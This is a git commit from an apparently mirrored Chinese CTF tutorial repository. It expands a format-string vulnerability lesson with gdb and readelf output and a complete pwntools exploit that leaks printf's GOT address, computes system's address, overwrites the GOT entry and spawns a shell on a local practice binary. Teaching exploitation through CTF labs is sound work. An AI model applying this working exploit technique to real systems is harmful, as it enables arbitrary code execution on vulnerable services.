mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 03:01:15 +07:00
add dynelf.md
This commit is contained in:
parent
0b9bc02dd8
commit
ad2fce73a8
@ -46,6 +46,7 @@
|
||||
- [4.1 AWD模式](doc/4.1_AWD.md)
|
||||
- [4.2 Linux 命令行技巧](doc/4.2_Linux_terminal_tips.md)
|
||||
- [4.3 GCC 堆栈保护技术](doc/4.3_gcc.md)
|
||||
- [4.4 使用 DynELF 泄露函数地址](doc/4.4_dynelf.md)
|
||||
|
||||
- [五、高级篇](doc/5_advanced.md)
|
||||
- [5.1 Fuzz 测试](doc/5.1_fuzz.md)
|
||||
|
@ -44,6 +44,7 @@
|
||||
* [4.1 AWD模式](doc/4.1_AWD.md)
|
||||
* [4.2 Linux 命令行技巧](doc/4.2_Linux_terminal_tips.md)
|
||||
* [4.3 GCC 堆栈保护技术](doc/4.3_gcc.md)
|
||||
* [4.4 使用 DynELF 泄露函数地址](doc/4.4_dynelf.md)
|
||||
* [五、高级篇](doc/5_advanced.md)
|
||||
* [5.1 Fuzz 测试](doc/5.1_fuzz.md)
|
||||
* [5.2 Pin 动态二进制插桩](doc/5.2_pin.md)
|
||||
|
@ -75,6 +75,8 @@ C 运行库(CRT)是一套庞大的代码库,以支撑程序能够正常地
|
||||
|
||||
glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 `/usr/include`;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 `/lib/libc.so.6`,静态版本位于 `/usr/lib/libc.a`。
|
||||
|
||||
在漏洞利用的过程中,通常我们通过计算目标函数地址相对于已知函数地址在同一个 libc 中的偏移,来获得目标函数的虚拟地址,这时我们需要让本地的 libc 版本和远程的 libc 版本相同,可以先泄露几个函数的地址,然后在 [libcdb.com](http://libcdb.com/) 中进行搜索来得到。
|
||||
|
||||
|
||||
## 整数表示
|
||||
默认情况下,C 语言中的数字是有符号数,下面我们声明一个有符号整数和无符号整数:
|
||||
|
@ -19,7 +19,7 @@ skanlite cantata kdenlive konversation libreoffice-still thunderbird-kde k3b cup
|
||||
|
||||
yaourt -S:
|
||||
|
||||
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec
|
||||
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec netcat
|
||||
|
||||
pip3/pip2 install:
|
||||
|
||||
|
@ -4,6 +4,7 @@
|
||||
- [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理)
|
||||
- [格式化字符串漏洞](#格式化字符串漏洞)
|
||||
- [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞)
|
||||
- [扩展阅读](#扩展阅读)
|
||||
|
||||
|
||||
## 格式化输出函数和格式字符串
|
||||
@ -300,7 +301,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||||
|
||||
## CTF 中的格式化字符串漏洞
|
||||
|
||||
#### pwntools pwnlib.fmtster
|
||||
#### pwntools pwnlib.fmtster 模块
|
||||
|
||||
文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html
|
||||
|
||||
@ -324,7 +325,7 @@ pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
|
||||
- numbwritten (int):已经由 printf 函数写入的字节数
|
||||
- write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)
|
||||
|
||||
我们通过一个例子来熟悉下该模块的使用:[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
|
||||
我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -338,7 +339,7 @@ void main() {
|
||||
}
|
||||
```
|
||||
|
||||
为了简单一点,我们关闭 ASLR,并使用下面的命令编译:
|
||||
为了简单一点,我们关闭 ASLR,并使用下面的命令编译,关闭 PIE,使得程序的 .text .bss 等段的内存地址固定:
|
||||
```
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||
@ -346,23 +347,90 @@ $ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||
|
||||
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
|
||||
|
||||
使用 gdb 调试,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址:
|
||||
第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp,但这里,我们还是先演示手工方法怎么做,最后再用 pwntools 的方法。在 gdb 中,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下:
|
||||
```text
|
||||
gdb-peda$ b main
|
||||
...
|
||||
gdb-peda$ r
|
||||
...
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd1f0 ("AAAA\n")
|
||||
EBX: 0x804a000 --> 0x8049f10 --> 0x1
|
||||
ECX: 0xffffd1f0 ("AAAA\n")
|
||||
EDX: 0x400
|
||||
ESI: 0xf7f97000 --> 0x1bbd90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
|
||||
EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)
|
||||
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x8048508 <main+82>: sub esp,0xc
|
||||
0x804850b <main+85>: lea eax,[ebp-0x408]
|
||||
0x8048511 <main+91>: push eax
|
||||
=> 0x8048512 <main+92>: call 0x8048370 <printf@plt>
|
||||
0x8048517 <main+97>: add esp,0x10
|
||||
0x804851a <main+100>: mov eax,DWORD PTR [ebx-0x4]
|
||||
0x8048520 <main+106>: mov eax,DWORD PTR [eax]
|
||||
0x8048522 <main+108>: sub esp,0xc
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd1f0 ("AAAA\n")
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
|
||||
0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
|
||||
0008| 0xffffd1e8 --> 0x400
|
||||
0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)
|
||||
0016| 0xffffd1f0 ("AAAA\n")
|
||||
0020| 0xffffd1f4 --> 0xa ('\n')
|
||||
0024| 0xffffd1f8 --> 0x0
|
||||
0028| 0xffffd1fc --> 0x0
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x08048512 in main ()
|
||||
```
|
||||
我们看到输入 `printf()` 的变量 `arg[0]: 0xffffd1f0 ("AAAA\n")` 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。
|
||||
|
||||
读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset):
|
||||
```text
|
||||
$ readelf -r a.out
|
||||
|
||||
Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
|
||||
Offset Info Type Sym.Value Sym. Name
|
||||
08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
|
||||
08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
|
||||
|
||||
Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
|
||||
Offset Info Type Sym.Value Sym. Name
|
||||
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
|
||||
0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
|
||||
0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
|
||||
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
|
||||
0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0
|
||||
```
|
||||
|
||||
在 gdb 中获得 `printf()` 的虚拟地址:
|
||||
```text
|
||||
gdb-peda$ p printf
|
||||
$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>
|
||||
```
|
||||
|
||||
获得 `system()` 的虚拟地址:
|
||||
```text
|
||||
gdb-peda$ p system
|
||||
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
|
||||
```
|
||||
|
||||
完整漏洞利用代码如下:
|
||||
好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码:
|
||||
```python
|
||||
# -*- coding: utf-8 -*-
|
||||
from pwn import *
|
||||
|
||||
elf = ELF('./a.out')
|
||||
r = process('./a.out')
|
||||
libc = ELF('/usr/lib32/libc.so.6')
|
||||
|
||||
# 计算偏移量
|
||||
def exec_fmt(payload):
|
||||
r.sendline(payload)
|
||||
info = r.recv()
|
||||
@ -370,20 +438,27 @@ def exec_fmt(payload):
|
||||
auto = FmtStr(exec_fmt)
|
||||
offset = auto.offset
|
||||
|
||||
print_got = elf.got['printf']
|
||||
log.success("print_got => {}".format(hex(print_got)))
|
||||
# 获得 printf 的 GOT 地址
|
||||
printf_got = elf.got['printf']
|
||||
log.success("printf_got => {}".format(hex(printf_got)))
|
||||
|
||||
system_addr = 0xf7e17060
|
||||
# 获得 printf 的虚拟地址
|
||||
payload = p32(printf_got) + '%{}$s'.format(offset)
|
||||
r.send(payload)
|
||||
printf_addr = u32(r.recv()[4:8])
|
||||
log.success("printf_addr => {}".format(hex(printf_addr)))
|
||||
|
||||
# 获得 system 的虚拟地址
|
||||
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
|
||||
log.success("system_addr => {}".format(hex(system_addr)))
|
||||
|
||||
payload = fmtstr_payload(offset, {print_got : system_addr})
|
||||
payload = fmtstr_payload(offset, {printf_got : system_addr})
|
||||
r.send(payload)
|
||||
r.send('/bin/sh')
|
||||
r.recv()
|
||||
r.interactive()
|
||||
```
|
||||
|
||||
这样就获得了 shell:
|
||||
```text
|
||||
$ python2 exp.py
|
||||
[*] '/home/firmy/Desktop/RE4B/a.out'
|
||||
@ -392,11 +467,24 @@ $ python2 exp.py
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x8048000)
|
||||
[+] Starting local process './a.out': pid 15698
|
||||
[+] Starting local process './a.out': pid 17375
|
||||
[*] '/usr/lib32/libc.so.6'
|
||||
Arch: i386-32-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
[*] Found format string offset: 4
|
||||
[+] print_got => 0x804a010
|
||||
[+] printf_got => 0x804a010
|
||||
[+] printf_addr => 0xf7e26bf0
|
||||
[+] system_addr => 0xf7e17060
|
||||
[*] Switching to interactive mode
|
||||
$ echo "hacked!"
|
||||
hacked!
|
||||
```
|
||||
这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。
|
||||
|
||||
|
||||
|
||||
# 扩展阅读
|
||||
[Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)
|
||||
|
1
doc/4.4_dynelf.md
Normal file
1
doc/4.4_dynelf.md
Normal file
@ -0,0 +1 @@
|
||||
# 使用 DynELF 泄露函数地址
|
@ -3,3 +3,4 @@
|
||||
- [4.1 AWD模式](4.1_AWD.md)
|
||||
- [4.2 Linux 命令行技巧](4.2_Linux_terminal_tips.md)
|
||||
- [4.3 GCC 堆栈保护技术](4.3_gcc.md)
|
||||
- [4.4 使用 DynELF 泄露函数地址](4.4_dynelf.md)
|
||||
|
Loading…
Reference in New Issue
Block a user